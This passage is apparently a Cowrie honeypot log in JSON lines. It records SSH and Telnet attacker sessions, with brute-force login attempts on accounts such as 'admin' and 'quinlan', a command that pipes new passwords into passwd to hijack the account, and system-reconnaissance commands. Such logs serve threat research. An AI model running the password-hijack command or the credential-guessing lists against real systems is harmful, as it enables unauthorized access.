ha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:36.090442Z","src_ip":"187.212.47.18","session":"3bf9ad3bc2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:36.428869Z","src_ip":"187.212.47.18","session":"3bf9ad3bc2d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.508497Z","src_ip":"187.212.47.18","session":"3bf9ad3bc2d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.633586Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.637212Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.717183Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.905828Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2018\\nHlP8YVhDVrfu\\nHlP8YVhDVrfu\"|passwd|bash","message":"CMD: echo -e \"admin@2018\\nHlP8YVhDVrfu\\nHlP8YVhDVrfu\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.909174Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.913119Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.916415Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/73944d1f7313f929e262691a5ff08881a8583912a0a16434bb350a136f56cac5","size":32,"shasum":"73944d1f7313f929e262691a5ff08881a8583912a0a16434bb350a136f56cac5","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/73944d1f7313f929e262691a5ff08881a8583912a0a16434bb350a136f56cac5 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:37.995413Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.191738Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2018\\nHlP8YVhDVrfu\\nHlP8YVhDVrfu\\n\"|passwd","message":"CMD: echo \"admin@2018\\nHlP8YVhDVrfu\\nHlP8YVhDVrfu\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.195141Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ca4bef2c0e46bdda5ad938a02a0fd2a6c0cd5da2d5fa04dc1a6859ccb1e4f5a3","size":25,"shasum":"ca4bef2c0e46bdda5ad938a02a0fd2a6c0cd5da2d5fa04dc1a6859ccb1e4f5a3","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ca4bef2c0e46bdda5ad938a02a0fd2a6c0cd5da2d5fa04dc1a6859ccb1e4f5a3 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.273956Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.499829Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.502987Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.581782Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.773433Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.775956Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:38.855237Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.052450Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.056530Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.059942Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.140557Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.334437Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.338096Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.416386Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.604382Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.608372Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.686126Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.877667Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.880772Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:39.959553Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:40.181843Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:40.185698Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:40.266638Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:40.638503Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:40.641858Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:40.721928Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:40.921369Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:40.924362Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.002282Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.194731Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.198466Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.277438Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.477486Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.481066Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.559179Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.756652Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.760280Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:41.839318Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:42.029165Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:42.031636Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:42.110258Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:42.277005Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":16411,"dst_ip":"159.203.135.109","dst_port":22,"session":"996f5b36aae0","protocol":"ssh","message":"New connection: 213.209.159.56:16411 (159.203.135.109:22) [session: 996f5b36aae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:09:59.814388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:09:59.818704Z","src_ip":"213.209.159.56","session":"996f5b36aae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:09:59.900085Z","src_ip":"213.209.159.56","session":"996f5b36aae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan","message":"login attempt [quinlan/quinlan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:00.359461Z","src_ip":"213.209.159.56","session":"996f5b36aae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan1","message":"login attempt [quinlan/quinlan1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:01.446518Z","src_ip":"213.209.159.56","session":"996f5b36aae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan123","message":"login attempt [quinlan/quinlan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:02.537988Z","src_ip":"213.209.159.56","session":"996f5b36aae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan1234","message":"login attempt [quinlan/quinlan1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:03.625599Z","src_ip":"213.209.159.56","session":"996f5b36aae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan12345","message":"login attempt [quinlan/quinlan12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:04.718164Z","src_ip":"213.209.159.56","session":"996f5b36aae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:05.803931Z","src_ip":"213.209.159.56","session":"996f5b36aae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53454,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eff925eaa36","protocol":"telnet","message":"New connection: 135.148.33.91:53454 (159.203.135.109:23) [session: 4eff925eaa36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:06.818946Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":53904,"dst_ip":"10.17.0.5","dst_port":22,"session":"19cdad3081d4","protocol":"ssh","message":"New connection: 64.89.163.156:53904 (10.17.0.5:22) [session: 19cdad3081d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:26.959702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:26.964902Z","src_ip":"64.89.163.156","session":"19cdad3081d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:27.053501Z","src_ip":"64.89.163.156","session":"19cdad3081d4","protocol":"ssh"}
